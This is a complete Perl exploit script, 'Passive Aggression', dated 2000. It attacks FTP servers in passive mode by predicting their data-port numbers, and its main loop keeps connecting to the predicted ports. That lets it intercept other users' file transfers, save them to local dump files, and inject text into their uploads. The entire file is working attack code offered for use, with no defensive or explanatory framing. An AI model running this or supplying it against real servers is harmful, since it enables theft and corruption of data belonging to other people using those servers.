#!/usr/bin/perl
###############
#
# Passive Aggression v1.0
#
# Exploits FTP servers using passive mdoe to transfer data.
# 
# Usage:  ./pasvagg.pl ftp.cdrom.com anonymous h4x0r@hotmail.com
#
# Copyright (C) 2000 H.D. Moore <hdm@digitaloffense.net>
#
# http://www.digitaloffense.net/
#
##

use IO::Socket;
use IO::Select;

sub usage {
    print "Usage: $0 [hostname] <username> <password>\n";
    exit(-1);
}

sub scanport {
    my ($port) = @_;
    my $s;
    
    $s = IO::Socket::INET->new (        PeerAddr    => $host,
                                        PeerPort    => $port,
                                        Proto       => "tcp",
                                        Type        => SOCK_STREAM
                                    ) || return;
    if (fork())
    {
        return;
    } else {
        $bytes = 0;
        $reader = 0;
        $SIG{'INT'} = 'IGNORE';
        $filename = "$host-$port.dmp";
        
        my $sel = IO::Select->new();
        $sel->add($s);
        
        @ready = $sel->can_read(5);
        foreach $fh (@ready)
        {
            $data = <$fh>;
            if (length($data) == 0) { next; }
            $bytes += length($data);
            print "\n:: reader ".length($data)." found on $host:$port\n";
            $reader++;
            open (DMP, ">".$filename) || die "could not create dump file:  $!";
            print DMP $data;
            $sel->remove if eof($fh);
        }

        
        if ($reader)
        {
            $0 = "PASV Aggression: downloading from $host:$port";
            while ($line = <$s>)
            {
                $bytes += length($line);
                print DMP $line;
            }
            close(DMP);
            print "\n:: finished transfer of $bytes bytes from $host:$port\n";
        } else {
           print "\n:: ?writer? found on port $port\n"; 
           print $s "REAPER\r\n";
        }
        close($s);

        exit;
    } 
}

sub LoginToServer {
    my ($socket) = @_;
    my @ready;
    my $fh;
    
    $response = <$socket>;
    chomp($response);

    if ($response !~ m/^220/)
    {
        print "server gave us a bad response:  $response\n";
        close($socket);
        exit;
    }
    print ">> $response\n";
    print ":: logging into server as $username.\n";

    print $socket "USER $username\r\n";

    $response = <$socket>;
    chomp($response);
    while ($response !~ m/^331/)
    {
        if ($response =~ m/^5/)
        {
            print ":: ERROR:\n";
            print ">> $response\n";
            exit;
        }
        print ">> $response\n";
        $response = <$socket>;
        chomp($response);
    }
    print ">> $response\n";
    
    
    print $socket "PASS $password\r\n";
    $response = <$socket>;
    chomp($response);
    while ($response !~ m/^230/)
    {
        if ($response !~ m/^2/)
        {
            print ":: ERROR:\n";
            print ">> $response\n";
            exit;
        }
        print ">> $response\n";
        $response = <$socket>;
        chomp($response);
    }
    print ">> $response\n";
    
    print $socket "PASV\r\n";
    $response = <$socket>;
    chomp($response);
    while ($response !~ m/^227/)
    {
        if ($response !~ m/^2/)
        {
            print ":: ERROR:\n";
            print ">> $response\n";
            exit;
        }
        print ">> $response\n";
        $response = <$socket>;
        chomp($response);
    }
    print ">> $response\n";
    print ":: server ready for passive attack\n";
}

sub GetCurrentPort { 
    my ($socket) = @_;
    my $PORT;
    my (@address,$p1, $p2);
    
    print $socket "PASV\r\n";
    $response = <$socket>;
    chomp($response); 
    $response =~ m/(\(.*)/;
    $PORT = $1;
    $PORT =~ s/\(|\)|\.//g;
    ($address[0],$address[1],$address[2],$address[3],$p1,$p2) = split(/\,/,$PORT);
    $ip = join(".", @address);
    return DecodePort($p1,$p2);
}

sub DecodePort {
    my ($p1,$p2) = @_;
    return unpack "N", pack "B32","0" x 16 . substr((unpack "B32",pack "N", $p1),24,8).substr((unpack "B32",pack "N", $p2),24,8);
   
}

###################
#      MAIN       #
###################

$host = shift() || usage();
$username = shift() || "anonymous";
$password = shift() || "mozilla\@";


$| = 1;
@PortSample = ();
$CmdLatency = 0;
$now = 0;
$0 = "PASV Aggression: control process";

$socket = IO::Socket::INET->new (   PeerAddr    => $host,
                                    PeerPort    => 21,
                                    Proto       => "tcp",
                                    Type        => SOCK_STREAM
                                ) || die "could not connect to server:  $!";       
print ":: connected to $host\n";
LoginToServer($socket);



print ":: sampling passive port selection\n";
for ($cnt = 0; $cnt < 10; $cnt ++)
{
    $now = time();
    $PortSample[$cnt] = GetCurrentPort($socket);
    $CmdLatency += time() - $now;
    sleep(1);
}
if ($PortSample[0] > $PortSample[9])
{
    $rate = (($PortSample[9] + 65535) - $PortSample[0]) / 10;   
} else {
    $rate = (($PortSample[9]) - $PortSample[0]) / 10;
}
$latency = $CmdLatency / 10;

print ":: passive connection rate = $rate/sec\n";
print ":: passive command latency = $latency seconds\n";
print ":: starting the reaper engine\n\n";

while (1)
{
    $start = sprintf("%d", ($rate * $latency) + GetCurrentPort($socket));
    print "\r                                             ";
    print "\r:: starting port $start\n";
    for ($port = $start; $port < $start + 15; $port++)
    {
        print "\r                                             ";
        print "\r:: scanning port ($port)";
        scanport($port);
    }
}